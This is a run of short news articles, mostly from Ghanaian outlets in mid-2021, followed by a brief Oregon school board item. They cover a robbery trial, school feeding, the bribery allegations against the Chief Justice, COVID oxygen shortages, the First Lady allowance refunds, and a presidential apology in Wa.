The Prosecution said at about 1930 hours, when Mr Manugah and his wife returned home, Cato and Ahale entered the house, attacked his security man and overpowered him.



He said Dodzi, who was masked and armed with the AK 47 rifle; and Ahale who was also masked and armed with the locally manufactured pistol, ordered Mr Manugah to surrender his vehicle and all other personal effects.



However, his resistance infuriated Dodzi, who opened fire at him but missed the fire.



Ahale also gave warning shots to scare the victim and the others around.



In the process, the robbers took away the vehicle and other items.



The Prosecution said Mensah, who had parked his motorbike at a junction, alighted and rode it, thereby leading his accomplices.



Investigations led to the arrest of the culprits and Mr Manugahs Apple watch and spectacles were retrieved from Dodzi's hide out.



The Prosecutor said Alhassan Yussif was arrested on December 31, 2017, while in possession of a stolen Toyota RAV4.



Yussif, it said, confessed that Aminu Bawa instructed him to bring the complainant's Honda Pilot to Tamale after a successful robbery operation.



On January 22, 2018, the Prosecution said, Aminu was arrested at Agbogboloshie and during interrogation, he confirmed that Yussif brought the vehicle to him in Tamale and he (Aminu) led the Police to retrieve the vehicle in his house.



In the case of Mensah, the Prosecution said, on October 2, 2018, investigations led to his arrest at Adawso in the Eastern Region, where he had gone to sell another vehicle related to a crime.



Mensah, the Prosecution said, admitted to taking part in the robbery during the interrogation, but denied the confession in his caution statement.



ASP Asare said the vehicle had since been retrieved and handed over to him.

Source: GNA









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Some basic schools headmasters in the Pru East District in the Bono East Region have passionately appealed to the Government to consider adding them to the Ghana School Feeding beneficiary schools.



According to the headmasters, pupils keep leaving their schools to join others that are benefiting from the Ghana School Feeding Programme just to have free meals.



The under-pressure headmasters poured out their frustrations when they besieged the vehicles of some officials of the Ghana School Feeding Programme and the World Food Programme (WFP) who had visited the district for a joint monitoring exercise.



They demanded that their schools be included in the feeding programme or they will collapse.



The headmasters including; Mr. Simpoe Yaw of Yeji R/C Primary B, Mr. Ismael N. Khalid of Daru Saeed Islamic Primary and Mr. Frederick Dapaah of Yamba D/A Primary schools, said that most of their pupils were from extremely poor homes and as a result had to come to school on empty stomachs.



Ghana School Feeding, WFP embark on joint monitoring to assess caterers



Include eggs in School Feeding Programme  Egg campaign advocates



Most parents dont give their wards any money for feeding and they dont also cook for the children before they come to school. So therefore, when those hungry children see that in the other nearby schools they are enjoying free school feeding meals they quickly decide to join those schools.



According to them, the situation has affected most of the schools that are non-beneficiaries of the school feeding programme.



The headmasters claimed that they have made several complaints and even invited the District Chief Executive for the area to their schools to assess the situation but they only receive assurances.



The District Chief Executive (DCE) for Pru East, Mr. Joshua Kwaku Abonkrah who later joined the GSFP/WFP joint monitoring team, confirmed the claims by the headmasters.



According to him, he personally made efforts and wrote to the national secretariat of the Ghana School Feeding Programme for more schools to be enrolled but could only get four additional schools to be captured under the programme.



He said that the entire district currently has only 11 schools that are benefiting from the school feeding programme.



Mr. Abonkrah therefore added his voice to the calls by the frustrated headmasters and called on the management of the Ghana School Feeding Programme to increase the number of beneficiary schools in the district in order to save most of the non-beneficiary schools from collapsing.



The DCE revealed that the school feeding programme is serving as a great motivation to the majority of school children in the area most of whom are from extremely poor homes.

He said that, previously, the district being a prominent fishing area had a large number of school age children preferring to trade or labour on the river (Volta Lake) to going to school.



But upon assumption of office, I have managed to push majority of the children into school through advocacy and community sensitizations. So it will be a great disincentive to some of us if all those children should go back to fishing because both their parents and the government cannot feed them to continue to stay in school.



Mr. Abonkrah was optimistic that the Government would consider increasing the number of beneficiary schools in the district anytime there is an opportunity for expansion.





He appealed to the headmasters and teachers in the district to keep their spirits high as he continues to lobby the authorities concerned.



The DCE also cautioned all parents to send their children of school age to school rather than use them as labourers on the farms and for fishing.













Source: graphiconline.com









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To help address water-energy-food (WEF) security, African cities have been urged to shift from the silos approach to the nexus approach.



Making the call in a welcome address, the Director of the Council for Scientific and Industrial Research (CSIR)-Water Research Institute (WRI), Professor Mike Y. Osei-Atweneboana, explained that a nexus thinking will enhance water, energy, and food security.



Such an approach, he said, can help a city like Accra become more sustainable and resilient.



Prof Osei-Atweneboana was speaking at the opening of a 3-day Participatory Scenario Development workshop organised by the CSIR-Water Research Institute in Accra on Tuesday, July 6, 2021.



The workshop was organised as part of the implementation of the Enhancing Sustainability and Resilience of African Cities through a Water-Energy-Food Nexus Approach (EnsureWEF). The project is collaborative research between CSIR-Water Research Institute and research partners from Ghana, Uganda, and Kenya, with its overarching objective of enhancing the sustainability and resilience of African cities through an integrated and participatory knowledge generation, application, and governance through a WEF nexus approach.



The workshop also aimed to co-develop scenarios with stakeholders in the water, energy, and food sectors including government ministries and agencies, non-governmental organisations (NGOs), Community Based Organisations (CBOs) and stakeholders from the private sector.



The above, according to the organisers, will inform decision-making, planning, and governance of water, energy, and food resources for more inclusive, resilient, and sustainable cities.



According to Prof Osei-Atweneboana, Ghana as a country must strive to achieve universal access to water, energy and food.



However, he bemoaned that the current access was skewed against the poor or the vulnerable, noting that the Covid-19 pandemic has uncovered and heightened inequitable access to water, energy, and food in our cities.



Global and regional drivers such as climate change will further exacerbate the situation, he warned.



Dr. Emmanuel Obuobie, the Project Supervisor, who is also the Head of the Surface Water Division of the CSIR Water Research Institute, added that adoption of the nexus approach is now the current trend, even though it is not well established in developing countries, it comes with a lot of benefits particularly in the infrastructure development sectors, that is in the WEF environment in order to get the optimum benefit that comes with the integration.



He, however, said the initial implementation of the nexus approach could be challenging, "as we have been running in silos for a long time.



It will be difficult to integrate, as some institutions will lose part of their authority to other institutions, he said, adding that some institutions have to be ready to sacrifice some of their powers to make integration easy"



In the overview of the project by the Principal Investigator, Dr Deborah Darko, a Research Scientist of the CSIR Water Research Institute, she mentioned that the EnsureWEF project is one of the several projects supported by the Leading Integrated Research for Agenda 2030 in Africa program and funded by the Swedish International Development Corporation Agency. The project is run by the International Science Council in partnership with the Network of African Science Academy. As indicated earlier, the project is being implemented in two cities in Africa, Accra (Ghana) and Kampala (Uganda) which are among the worlds fastest growing cities 2.93% & 4.03% respectively.







The project is led by CSIR Water Research Institute in partnership with a number of researchers from a various organizations in Ghana,(Land Use and Spatial Planning Authority, Elite Consult), (Kampala Capital City Authority, Uganda), (Texas A&M Agrilife Research, College Station, United States of America), (Environmental Sustainability and Poverty Alleviation Group (ESPAG), University of Nairobi, Multimedia University of Kenya, Kenya).



Dr. Darko reiterated that the Water, Energy and Food (WEF) are important ecosystem services. She lamented that the increase in the global population and the number of people living in cities has put a lot of pressure on WEF resources in cities globally.



She cited that the project is a transdisciplinary research and it embraces collaboration with stakeholders across the WEF sectors to co-produce knowledge, capacity, and capability. Numerous outputs of the project so far are but not limited to the stakeholder and WEF infrastructure maps and engagement plan, a co-designed research methodology developed, and synergies and trade-offs between competing WEF uses analyzed.



Speaking on the issue of policy, legislative and institutional factors that influence access to utilization and governance of WEF-nexus in the city of Accra, Dr. Martin Oulu mentioned that the idea behind EnsureWEF is to encourage an integrated approach to the management of water, energy, and food resources. He underscored that the significance of WEF in a nation cannot be discounted. He, therefore, stressed the need for the government to ensure that more Ghanaians have easy access to WEF.



Dr. Benedict Arkhurst and Mr. Bright Kofi Addai spoke on the sources, distribution, quantity, and determinants of access to WEF resources in the city of Accra. They stated that water, energy, and food play crucial roles in the growth of a nation.



In a presentation on the impacts of climate change on WEF, Dr Fati Aziz said climate change in Ghana is projected to affect its vital water resources, energy supplies, crop production, and food security. She further added that more needs to be done to seriously address climate change in the country.

Source: Peacefmonline.com/Ghana









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An aspiring Ghana Journalists Association (GJA) President, Mr. Albert Kwabena Dwumfour, has called for a deepened relationship between Corporate Ghana and the media in order to promote their businesses hand-in-hand.



He made the call when he took his campaign to the Ashfoam Factory Limited in Accra on Tuesday, July 13, 2021.



Speaking at the meeting, Mr Dwumfour noted that Ashfoam has been one of the companies that have supported the media and the GJA over the years.



He stated that the company has supported GJA Awards by honoring the Best Journalist of the year, Female Journalist of the Year, and the Most Promising Journalist of the year with products aside from the monetary support it gives to GJA.



He also noted that Ashfoam has also helped with the painting of some parts of the building of the Press Centre amongst others hence the need to engage the company while aspiring to take over as the next President.



"We see them as a major corporate partner and as all know, the media thrives on an enabling environment to succeed and so if the media throws our support behind corporate Ghana, they will also support us when we go to them for support," he said.



Mr Dwumfour said his campaign team will visit corporate Ghana, aside Ashfoam to appreciate them and to also let them know how the media can get the government to create an enabling environment for businesses in the country.



He also underscored the need to deepen the relationship between corporate Ghana, including Ashfoam, in order to help address some of their challenges.



"Businesses thrive on enabling environment and it is the media that will create it. What we can do as a Fourth Estate of the Realm is not just to expose the ills and the wrongs but to also help so that government will make laws that will protect our indigenous businesses, protect entrepreneurs and local businesses because even if investors come here, they employ the people here to do the job. So, we are here to strengthen the partnership between us and assure them that we will continue to deepen the working relationship they already started with the GJA, he said.







He called on the media to stop attacking private companies since their downfall may cause a lot of harm to the society.



"We should stop the attack on businesses, and the attack on corporate world. When covid came, if you did not have a strong foundation, you would collapse and so if these businesses have survived, let us support them. Even when they are wrong, let us find a way to dialogue and see how we can resolve it than using our medium to sell them out, because when businesses collapse, unemployment will increase and armed robbery and gambling will increase and we all stand to be affected," he added.

For his part, the General Manager of Ashfoam, Mr George A. Massih also pledged his support towards the GJA aspirant, expressing hope that the media will help address their (businesses) challenges.



He noted that the importation of second-hand mattresses had become a major challenge to the industry since it infringes on their businesses.



Despite calls on the government to ban the importation of second mattresses, people still sneak in into the country irrespective of the harm it causes to human health.



He also noticed a rise in cybersecurity threats, especially on social media, calling on the GJA to organize training for the media on how to fight cybersecurity before it escalates.



Mr. George A. Massih also noticed that the youth, as young as 7 years have engaged in gambling, a situation he said may affect the countrys development if not addressed in time.



He, therefore, called on the media to help raise awareness on these challenges in order to get the right institution to address them.



Mr. Dwumfour was accompanied by Betty Apau-Oppong, former Director of TV, GTV, Vance Azu, former Night Editor, Daily Graphic, Sika Dzuali, Campaign Secretary, Ekourba Gyasi, TV host, Atinka TV, Ofori Ayim, Atinka FM, Kojo Addo, Atinka FM and Gabriel Bosompem, Campaign Chairman and former Manager, TV3.









Source: peacefmonline.com









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Students of Architecture have been urged to explore other areas in the built environment to reduce graduate unemployment.



Principal Architect of Spektra Global, William Evans Halm, believes Architects can use their personal gifts to create wealth.



Most Architects have a love for the job. Some architects have a personal gift for construction and they can become contractors.



Because the training is a general one, most go in for general practice. They should open their eyes to see there are more opportunities in the field.



By doing so, they can create more jobs in the field, he said.



Mr. Evans Halm was speaking at a seminar for the Architecture Students Association of Ghana at the KNUST in Kumasi.



Spektra Global is into architectural design, interior design, construction, and real estate.



The students were exposed to employment opportunities available in these areas.



The Architecture Students Association has been organizing these seminars annually to broaden members scope to face the job market.



President of the Association, Henry Kofi Dansu, said the seminar has been successful at addressing students' concerns.



You cant do this and find yourself elsewhere. When you identify yourself, you go outside, and so quickly youll find a job, he said.

Source: Peacefmonline.com









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Unilever Ghana has today launched two new variants of its Geisha soap, specifically Geisha Moringa and Geisha Black soap.

These variants are formulated with locally sourced natural ingredients such as cocoa butter, activated charcoal, and Moringa oil and come at a time when the Ghanaian consumers demand and preference for locally sourced and natural-based products is on the rise.



Geisha has a rich history of being Africas most loved soap on account of the long-lasting benefits it offers to patrons, and this innovation is an addition to its range of enviable variants.



Speaking at the launch, the Managing Director of Unilever Ghana plc, George Owusu-Ansah, said I would like to assure you, that these two variants are safe and beneficial to all skin types.



Our brand Geisha is, indeed, proud to add these two variants to its growing portfolio of variants. Variants that give consumers quality, affordable solutions to their Skin Cleanse needs.



I want to seize this opportunity to commend members of the team that worked tirelessly to research, innovate and make the launch of these variants possible. Their work is a manifestation of Unilever Ghanas commitment to households in Ghana and our unrelenting dedication to ensuring that our products meet the everyday needs and aspirations of Ghanaians.



Deputy Minister for Trade and Industry, Hon Michael Okyere Baafi, who represented the sector minister, Alan John Kyerematen, commended Unilever Ghana for its continuous contribution to the Ghanaian economy. Unilever Ghana has proven to be responsible company over time, as they have kept their commitment to the local economy through the discharge of their tax obligations, purchasing of local raw materials, and the provision of jobs for the people of Ghana.



Hon. Baafi also pledged Governments support for Unilever Ghanas efforts and implored Ghanaians to patronize their products.



Source: Peacefmonline.com









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The National Democratic Congress (NDC) has asked Chief Justice Kwasi Anin-Yeboah to step aside to allow for a fair probe of a US$5 million bribery allegation against him.



Anin-Yeboah has petitioned the director general of the Criminal Investigation Department (CID) of the Ghana Police Service to investigate bribery allegations levelled against him by a private legal practitioner, Kwasi Afrifa.



Addressing the media in Accra on Tuesday 13 July 2021, the general secretary of NDC, Johnson Asiedu Nketiah, said the Chief Justice must step aside temporarily so the outcome of the case is not compromised.



Good governance dictates that the Chief Justice steps aside during the pendency of the investigation by the Judicial Service relative to the issue of alleged misconduct on his part as a Supreme Court judge.



If they decide to go according to that route then it means that the person who is the disciplinarian cannot be disciplining himself.



So, if you want to go according to the Judicial Services act, then the person who is the subject of the allegation must step aside so that other officers will take over, Nketiah said.



Below is Nketiahs full statement:



Good afternoon, ladies and gentlemen of the media. Let me welcome you to this urgent encounter at which we intend to share our thoughts on a matter of grave national importance.



In the last few days, we have learnt about damning allegations made against the Chief Justice of the Republic of Ghana, His Lordship Justice Kwasi Anin-Yeboah, by a prominent lawyer, Akwasi Afrifa Esq., to the effect that his client whose case he was conducting had informed him that the Chief Justice demanded a bribe of US$5 million to fix the verdict of a case before the Supreme Court. He also alleges that the Chief Justice demanded the replacement of he Akwasi Afrifa with Akoto Ampaw Esq as lawyer in the case as a precondition for ensuring victory in the case for his client.



We have also taken notice of a denial by the chief in question, Nana Ogyeedom Obranu Kwesi Atta VI, and the Chief Justice of the said allegations and the subsequent request of the latter for investigations into the matter by the CID of the Ghana Police Service.



Distinguished friends from the media, the allegations made against the Chief Justice are very grave and rock the very foundations of the judiciary, which is an indispensable and independent arm of government. Any suggestion that the head of such an institution has sought to compromise his office to undermine the integrity of judgments made by the courts, warrants the most serious attention. This is because any doubts harbored over the integrity of the judiciary and its leadership has the potential to completely erode public confidence in the administration of justice in Ghana and our governance institutions as a whole.



Over the years, we have collectively worked hard to build a Judiciary with an enviable reputation as a country. Our judiciary has produced some of the best Jurists on the African continent and I dare say, in the world. Ghanaian jurists have served in top positions in the judiciaries of other African countries and in many reputable international institutions. The role an effective, independent and impartial judiciary plays in attracting investment, ensuring national stability and improvement in the general well-being of the citizenry cannot be overemphasised.



Transparency

As the political tradition that birthed the fourth republic, we are deeply concerned that if this matter is not handled with utmost transparency and the required seriousness, it could compromise public confidence in the judiciary and roll back the many gains that we have made in our forward march as a viable democratic state.



In this regard, and without taking sides or commenting on the merit or otherwise of the said allegations of bribery against the Chief Justice, we believe that an investigation by the Police CID would be woefully inadequate to assure the Ghanaian public that a thorough inquiry has been conducted into the matter.



We are of the considered view that the recent history of the Police CID with respect to investigations into allegations against high-ranking officials of the Akufo-Addo/Bawumia government would not afford the sort of confidence that must be engendered in an investigation such as this considering the elevated position of the person against whom these allegations have been made.



We recall how corruption cases like the Australia visa fraud scandal, the galamsey fraud scandal, the 500 missing excavators scandal, just to mention a few ended in clear cover-ups when handled by the Police CID. The magnitude and gravity of this matter calls for utmost transparency and confidence building which the CID cannot muster at the moment.



We in the NDC hold the view, that though these allegations have a component of criminality, it is in equal measure about alleged misconduct on the part of a judge and as such it would ordinarily fall within the ambit of the Judicial Service to take steps to unravel the truth about this matter and take disciplinary action if proven to be true. This is exactly what was done in the bribery expose of ace investigative journalist Anas Aremeyaw Anas against some judges few years ago.



Ladies and gentlemen of the media, the difficulty however with this is that the investigations would concern the Chief Justice who is the subject of the bribery allegations in this matter and in whom disciplinary authority against judicial officers is vested under Section 18 of the Judicial Service Act. Therefore, good governance dictates that the Chief Justice steps aside during the pendency of the investigations by the Judicial Service relative to the issue of alleged misconduct on his part as a Supreme Court judge. The Chief Justice cannot be a judge in his own cause hence cannot setup a committee to investigate allegations of misconduct against himself.



Also, we think that due to the considerable public interest involved in this matter, another effective and transparent approach in the circumstance would be a full-blown public inquiry. This can be done by invoking Article 278 of the 1992 constitution under which Parliament can by a resolution compel the president to set up a Commission of Inquiry to look into the matters at hand in a transparent manner and make a faithful determination thereof.



Friends, we are now confronted with a very dicey situation, where it is the word of lawyer Akwasi Afrifa on the one hand against the word of the Chief Justice and the chief who is alleged to have paid the bribe in question on the other hand. As I have already explained, this issue has dire consequences for the reputation of not just the Judiciary but our revered chieftaincy institution and the country as a whole. The question is, whose account among the three should we believe as a country? Who is telling us the truth? Is it the Chief Justice and Nana Ogyeedom or is it Lawyer Kwasi Afrifa? We believe that only credible and transparent investigations can establish the truth in this matter. And we hold the opinion that the transparent approach of a public inquiry is the best way to go. This approach we believe is in the interest of the Chief Justice who stands accused and his accuser.



Conversely, CHRAJ, which has an enviable reputation of looking into similar cases of alleged corruption against highly placed state and government officials would be better placed to conduct such a serious inquiry.



We also disagree with the referral of these allegations to the General Legal Councils Disciplinary Committee by the Chief Justice, for the sole reason that it is an offshoot of a body chaired by the person at the centre of these allegations  the Chief Justice. The likelihood for an impartial and balanced investigation by them into this matter would be quite minimal so long as the Chief Justice remains at post. We therefore believe that the GLC should stay its hands over this matter pending the final determination of the issue by independent state organisations cloaked with requisite authority to do so.



Best practice would require that the Chief Justice steps aside temporarily until the matters are looked into and a clear outcome emerges and we believe this instance calls for such an action.



Friends from the media, in making these calls, we are guided by the supreme interest of governance and the preservation of the image of critical state institutions like the judiciary and its leaders especially the Chief Justice. No iota of doubt must remain about its integrity and credibility and it is absolutely imperative that everything is done to guarantee this.



Thank you for coming.

Source: asaaseradio.com









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The Multimedia Group Limited, a media firm, has petitioned the National Security and some key Ghanaian and international institutions over alleged threats on the life of one of its journalists, Erastus Asare Donkor.



It said "the life-threatening comments" by the Member of Parliament (MP) for Assin Central, Mr. Kennedy Agyapong, made on The Attitude programme, which was aired on July 09, 2021, on Net 2 TV, ought to be taken seriously.



A statement issued by the Multimedia Group in Kumasi, and jointly signed by Mr. Kofi Adu Domfeh, News Editor of Luv FM and Nhyira FM, and Mr. James Aglah, General Manager of the two affiliate radio stations of the media firm, called for maximum security for the journalist.



The statement said on that programme, the Honourable MP is heard raining insults on the journalist, and called for the serious beating of Erastus Asare Donkor.



The MP launched the above scathing attacks and threats on the journalist because of the work that he did during the recent shootings and killing incident at Ejura, and his appearance before the Justice George Kingsley Koomson Committee investigating the incidents, the Group affirmed.



In the above circumstances, we wish to file this formal complaint of threat by the MP on the life of the journalist, and request that this complaint is investigated and Erastus Asare Donkor given the required protection, the statement noted.



Copies of the statement had been sent to the Speaker of Ghanas Parliament, the Chief of Staff, Office of the President, the Asantehene, Otumfuo Osei Tutu II, Minister of the Interior and Inspector General of Police (IGP), as well as the Human Rights Watch, New York, USA, and other local and international institutions.

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Source: GNA









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The head of Ghana Statistical Service (GSS), Professor Samuel Kobina Annim suffered a complication on live TV.



This occurred while he was addressing the public on the ongoing Population and Housing Census exercise which commenced on 13th June, 2021.



In the video circulating online, Professor Anim went speechless and later began to stammer behind the podium while speaking to the audience.



He was swiftly attended to by some of his staff at the event and was later rushed to the hospital.



Professor Samuel Kobina Annim was appointed as Government Statistician in 2019. and assumed duty on March 1, 2019.



Reliable sources tell Peacefmonline.com that he has responded well to treatment and might even address a press conference today (Wednesday), on the inflation rate.



Watch video below



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The Ga East Municipal Hospital has revealed it is currently out of oxygen and health practitioners to sustain admitted COVID-19 patients and to cater for new ones.



Speaking in an interview on Asaase Radio, Dr Joseph Oliver-Commey, the acting Director of Ghanas Infectious Disease Centre explained that the Intensive Care Unit (ICU) for critical COVID-19 patients is full, and the ward for severe cases is also filled to capacity and can no longer admit new patients due to inadequate oxygen and staff.



The only reason why you can take patients into your ICU is when you have oxygen and adequate staff to handle them, he said.



At the moment we are constrained by lack of oxygen and it is not only the infectious disease centre, almost all the ICU centres are constrained by oxygen including the use of high flow oxygen, very expensive that patients cannot afford.



He added: We are not saying we cant look after the patients but the things to use to look after them, the nurses, the oxygen is a problem.



You narrow it down only to oxygen, I said oxygen plus the personnel, so I could have the oxygen but not the personnel and if I dont have the personnel, why do I put a patient on the bed?



He advised Ghanaians to adhere strictly to all COVID-19 safety precautions as the government is yet to fully vaccinate all the citizens.



What is important at this time is that we stick to the measures that have helped us. Unfortunately, we are behaving like a country that has vaccinated 50% of its population. Even the UK and the USA are able to open up their stadia because they know they have been able to vaccinate all their people but we have not done even two percent of our population yet the ordinary Ghanaian behaves as though there is no tomorrow.



This is my humble plea to all Ghanaians, if you fall sick, and you fall severely ill, government cannot help you, I would not be able to help you and so is your next door neighbour, so consciously prevent yourself from getting COVID-19, Dr Oliver-Commey said.



Meanwhile, Dr Anthony Nsiah Asare, the Presidential Advisor on Health, has warned of a third wave of COVID-19.

According to him, records from the Ghana Health Service indicate an increase in the active, critical and severe cases.

Dr Asare warns that Ghana would continue to witness an increase in COVID-19 cases if Ghanaians do not adhere strictly to the safety protocols.

Source: asaaseradio.com









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The Minister for Tourism, Creative Arts Culture, Hon. Mohammed Awal has appealed to hoteliers to continue to observe all COVID protocols.



According to him, the continuous observation of the COVID-19 protocols will prevent the hotels from becoming the breeding grounds for the pandemic.



Hon. Mohammed Awal made this appeal at the Movenpick Ambassador Hotel Ten Years Anniversary Media Launch in Accra.



"The Coronavirus pandemic has greatly affected the hotel industry due to low patronage but as we are bouncing back, I will like to urge all hotel management to continue to observe the COVID protocols. Life and business must go on but we ought to protect ourselves against the deadly virus".



Adding her voice, the Managing Director for Movenpick Ambassador Hotel, Deborah Lee-Ann Sivertsen, noted that the hotel will continue to explore the peaceful nature of Ghana to enhance the progress of the hotel.



"Ghana is famed for its genuine and warm hospitality. Being my first time in Ghana, Ive witnessed and experienced the undeniable authenticity through the personalities of our staff, our HEARTISTS. These values are what define the Movenpick brand; demonstrating quality, reliability, care for guests, partners and fellow HEARTISTS, and doing it all with a personal touch ", she noted.

Source: Peacefmonline.com/Ghana









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The General Secretary of the ruling New Patriotic Party (NPP), John Boadu, has charged the wife of former President John Dramani Mahama, Mrs. Lordina Mahama, to refund all monies or allowances paid to her between January 2009 and June 2021.



In a one-on-one interview with Paa Kwesi Schandorf on TV Africa on Tuesday, 13th July, 2021, Mr. Boadu admonished Mrs. Lordina Mahama to replicate the gesture made by Mrs. Rebecca Akufo-Addo.



Schandorf, let me say this emphatically. Former President Mahamas wife, Lordina Mahama, must, as a matter of urgency, refund all monies paid to her since January 2017 till now. Those she received as far back as 2009 should also be refunded. The monies she has received from that time till now would amount to GHC3.2 million, John Boadu said.



The call on Lordina Mahama to refund monies paid to her as allowances come on the heels of Mrs. Rebecca Akufo-Addo having decided to refund all monies paid to her since 2017.



The Ghanaian media landscape has been awash with criticisms of the Ntiamoa Commissions decision to regularize allowances paid to First and Second Ladies, whether past, present or in future.



An impression was created by a section of the general public including the TUC, NDC and some Civil Society Organizations that only Mrs. Rebecca Akuffo-Addo and Hajia Samira Bawumia are beneficiaries of these allowances being turned into salaries.



These misconceptions and vitriolic attacks have led to the First Lady declining the decision of the Committee and indicating her decision to refund all monies paid to her since January 2017.

Source: Peacefmonline.com









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Editor-in-Chief of the Insight newspaper, Kwesi Pratt has commended First Lady Rebecca Akufo-Addo and Second Lady Samira Bawumia for refunding their allowances to the State.



Prof. Yaa Ntiamoa-Baidu Committee



The Professor Yaa Ntiamoa-Baidu Committee report dated the 18th of June 2020, submitted its recommendations to President Akufo-Addo in fulfilment of the Article 71 provision of the 1992 Constitution which enjoins every sitting President, before the end of his four-year mandate, to set up a Committee to make recommendations on the emoluments for Article 71 office holders.



As part of the five (5) member committees report, they recommended the payment of a salary equivalent to a Cabinet Minister who is a Member of Parliament (MP) to the First Lady while her husband is in office and the payment of a salary equivalent to 80% of salary of a Minister of State who is a Member of Parliament (MP) if the spouse served one full term as President or 100% of salary of a Minister of State who is a Member of Parliament (MP) if the spouse served two or more full terms as President.



With the Second Lady, the committees report, recommended the payment of a salary equivalent to a Cabinet Minister who is not a Member of Parliament (MP) to the Second Lady while her husband is in office and the payment of a salary equivalent to 80% of salary of a Minister of State who is not a Member of Parliament (MP) if the spouse served one full term as President or 100% of salary of a Minister of State who is a Member of Parliament (MP) if the spouse served two or more full terms as Vice President.



First & Second Ladies' Salaries Refund



First Lady, Rebecca Akufo-Addo, in a statement dated 12th July 2021, has "decided not to accept any monies that have been allocated to be paid to her pursuant to the recommendations of the Prof. Yaa Ntiamoa-Badu Committee, as approved by Parliament".



She cited the extremely negative opinions from critics which are seeking to portray her as a self-serving and self-centered woman as reasons for her refund.



In view of this, she "in consultation with the President of the Republic, has decided to refund all monies paid to her as allowances from the date of the Presidents assumption of office, i.e., from January 2017 to date, amounting to GH899,097.84."



The Second Lady, Samira Bawumia has also indicated she will refund a total amount of eight hundred and eighty-seven thousand, four hundred and eighty-two (GHc 887,482) she's received as allowances from January 2017 to March 2021.



The decision of the two leading ladies of the Republic to refund their allowances is motivated by recent public backlash that has characterized the recommendation by the Presidential Committee on Emoluments for Article 71 office holders for the First and Second Ladies to be paid salaries.



Kwesi Pratt's Reply



Discussing the issue on Peace FM's 'Kokrokoo' programme, Kwesi Pratt welcomed the refund of the allowances, stressing it will be of great help to Ghanaians.



"Her Excellency Rebecca Akufo-Addo has helped us. She's come out to say she doesn't want the money and that we should take it back. We have done something. Haven't we? I've heard that Madam Samira Bawumia (Excellency) also says she doesn't want the money, so we should receive it back. We have taken our money back," he told host Kwami Sefa Kayi.







Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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State Transport Corporation (STC) CEO, Nana Akomea, has addressed the hypocrisy of Ghanaians, particularly with regard to the car loan for Members of Parliament.



The Finance Ministry presented a $28 million loan agreement before Parliament for the Members of the House to purchase vehicles.



All two hundred and seventy-five (275) Members of Parliament (MPs) are entitled to this loan and there is another for a $3.5 million car loan for members of the 8th Council of State for them to also purchase vehicles.



This offer has however been vehemently condemned by the general public.



Touching on the issue on Peace FM's morning show 'Kokrokoo', Nana Akomea wondered why the citizenry would condemn the MPs for seeking a car loan.



He noted that the car loan is justifiable claiming, as the name suggests, it's a loan that the MPs are being offered to buy their cars.



To him, Ghanaians are the same people who will criticize them should they be spotted in an Uber or a car not worthy of an MP.



Nana Akomea told host Kwami Sefa Kayi that the MPs deserve the loan saying, "people expect pomp and pageantry. Ghanaians expect it and yet, when it happens, the same Ghanaians kick against it. Coming here (into the studio), if I had sat in an Uber, someone would have come to tell that Honourable came in an Uber. They expect you to ride a big four-wheel drive".





Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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The Bono Regional Chairman of the governing New Patriotic Party (NPP), Kwame Baffoe, popularly known as Abronye DC says he will force former first lady, Lordina Mahama to refund all allowances she received from the state.



He has vowed to legally battle the former first family to repay the state after the NDC openly criticized allowances given to the incumbent first and second ladies.



Whatever has been given to any former first lady must be declared by the Supreme Court as null and void, he said in an interview with NEAT FMs morning show Ghana Montie.



Listen to interview





Source: King Edward Ambrose Washman Addo/Peacefmonline.com/Ghana









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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The President, Nana Addo Dankwa Akufo-Addo, has apologised to the Overlord of the Waala Traditional Area, Naa Fuseini Seidu Pelpuo IV, and to the people of Wa for the brutalities meted out to some residents by some soldiers earlier this month.



Addressing Naa Fuseini Seidu Pelpuo IV on Tuesday 13 July 2021, at the beginning of his two-day working visit to the Upper West Region, President Akufo-Addo indicated that the unfortunate incident was one of the reasons for his visit to the region.



According to the President, even though the Minister for Defence, the Minister for the Interior, as well as the hierarchy of the military have come to apologise to residents of Wa, and have taken measures to deal with the soldiers who perpetrated the act, he also deemed it necessary to come to Wa personally and render an apology.



One of the fair reasons why I came, is because of the incident that occurred here in Wa between the garrison, some soldiers here and the people of Wa. The military leaders have been here and they have promised you that they will deal with those who were responsible.



I have come to add my voice to that of the soldiers, as well as the Minister for Defence, to say how sorry I am about the incident, and to let you know that we will do everything possible to make sure that such an incident is not repeated, he said.



With the Minister for Defence, Dominic Nitiwul, indicating that the government will be responsible for the medical bills of those who were injured, President Akufo-Addo thanked the Wa-Naa for recognising that the promises that have been made have been kept and that now we should put that issue behind us and move forward.



And I want to congratulate you on the very statesman-like pronouncements that you made on that occasion. You sure look like the senior traditional leader that you are.



Threat of terrorism

With the threat of terrorism real along the Ghana-Burkina Faso border, he noted that it is only the co-operation of the people of Wa and the security forces that will make it possible for Ghana to prevent terrorists from carrying out an attack in the country.



So, I want to add my voice to yours in calling upon the people to continue to work closely with the security forces to make sure that we can keep the terrorist menace out of our country. And that means that we should not dwell too much on this incident that occurred. As human beings, mistakes occur. The important thing is how you correct them, and move forward, the President said.



Thanking Naa Fuseini Seidu Pelpuo IV, once again, for the leadership he has displayed in the course of the unfortunate saga, President Akufo-Addo noted that It is one of the lucky aspects of my period as President, that all through Ghana, especially in the northern parts of this country, I have very wise traditional rulers who are helping me in the governance of this country. Fortunately for me, you are one of them.

Source: asaaseradio.com









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Itemizer-Observer

DALLAS  Luis Garibay, who was elected in May to serve on the Dallas School District had to resign at the end of his first meeting on the board.

Garibay will be moving to Texas with his family to start a new job by the end of July, he announced at the end of Mondays meeting, the first including new members Garibay and Pally Mann.

It is with sadness that I will have to resign, Garibay said.

Board member Mike Bollman said he appreciated Garibays willingness to serve on the board and his involvement in the community.

